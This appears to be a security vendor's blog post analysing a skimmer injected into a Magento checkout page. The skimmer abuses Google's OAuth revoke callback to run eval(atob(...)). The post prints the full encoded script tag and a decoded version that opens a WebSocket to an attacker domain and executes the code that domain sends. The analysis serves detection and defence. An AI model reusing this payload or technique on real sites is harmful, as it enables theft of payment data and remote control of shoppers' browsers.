TL;DR: detect fake Google OAuth script injection
- A trusted domain abused: If a script src starts with accounts.google.com nobody looks twice. That's why attackers pointed a callback there and stuffed base64 JavaScript into the URL parameter to run inside your checkout page.
- How cside caught it: On Magento site parts[.]expert, cside caught a weaponized OAuth revoke URL running eval(atob(...)) and opening a WebSocket to livechatinc[.]network/chatpipe/029/, a domain flagged malicious on VirusTotal. The script only fired on checkout URLs, so a static crawler would have missed it.
- Trust runtime behavior: Stop trusting a script by its parent domain. Trust the runtime behavior. If a Google URL is opening a WebSocket to a chat domain during checkout, either your platform sees it live or your customers pay for the delay.
Short on time? See cside's in-browser Magecart and skimmer blocking. It covers everything below in one deployment.
We analyzed a clever client-side attack on a Magento-based eCommerce website, parts[.]expert. While not a high-traffic domain, the injection technique used here deserves attention, because it hides in plain sight.
The attacker is using 'Google.com' to deliver and execute their own code and exploit OAuth security measures, which can potentially compromise google account credentials and access tokens.
What We Found
Our system flagged a script from an unexpected URL:
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

At first glance, it looks like a legitimate OAuth logout URL from the authorization server:
accounts.google.com/o/oauth2/revoke.
But looking closer, the callback parameter is weaponized to run an obfuscated JavaScript payload via eval(atob(...)).

Step-by-Step Breakdown
The base64-encoded payload embedded in the callback decodes into another obfuscated script that dynamically creates a malicious WebSocket connection to an attacker-controlled domain, a WebSocket security risk. Decoded, it reads:
(function() {
let setupMaliciousWebSocket = () => {
// Connect to attacker's WebSocket server
const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");
// Execute any code received from the server
ws.onmessage = (event) => {
const maliciousCode = atob(event.data); // Decode Base64
new Function(maliciousCode).call(event.target); // Execute dynamically
};
};
// Run if:
// 1. The browser is automated (e.g., bots), OR
// 2. The URL contains 'checkout' (e.g., payment page)
if (navigator.webdriver || window.location.href.match('checkout')) {
setupMaliciousWebSocket();
}
})();
What The Script Does
- Connects to a Malicious WebSocket Server if the page contains checkout in the URL, or if the browser looks automated. It opens a wss:// connection to livechatinc[.]network/chatpipe/029/, a domain already flagged as malicious (VirusTotal link) and a clear example of a WebSocket attack in action.
- Receives & Executes Remote Payloads: Any base64-encoded messages sent over the WebSocket get decoded and executed with new Function(...). This gives the attacker full remote execution capabilities inside the user's browser session, a technique often used in OAuth phishing and other OAuth attacks, and can lead to a data breach, intercepting sensitive information like email address data and payment details.
- Timing & Context Aware: The script activates specifically on checkout pages, likely to intercept payment data or inject fraudulent elements in real time.
Why It Matters
- Looks Legit: It seems to load from a Google domain resembling traffic from Google OAuth vulnerabilities, so most security tools would trust it blindly. A CSP will not be able to catch this attack, as the trusted Google.com domain will go through. A DNS filter on a user's device would also not be effective.
- Bypasses Static Scanners: The dangerous logic is nested two layers deep in obfuscation and only executes under specific conditions. That makes it especially difficult for organizations without a qualified security assessor (QSA) to detect.
- Real-Time Control: WebSocket-based payloads let attackers push dynamic malicious logic based on user actions.
We've seen domain impersonation and obfuscated loaders before, but this combination of OAuth misdirection + conditionally triggered live control goes one step further.
cside identified and caught this attack. We receive the full payload of the fetched script and analyze it before it gets sent through to the browser.









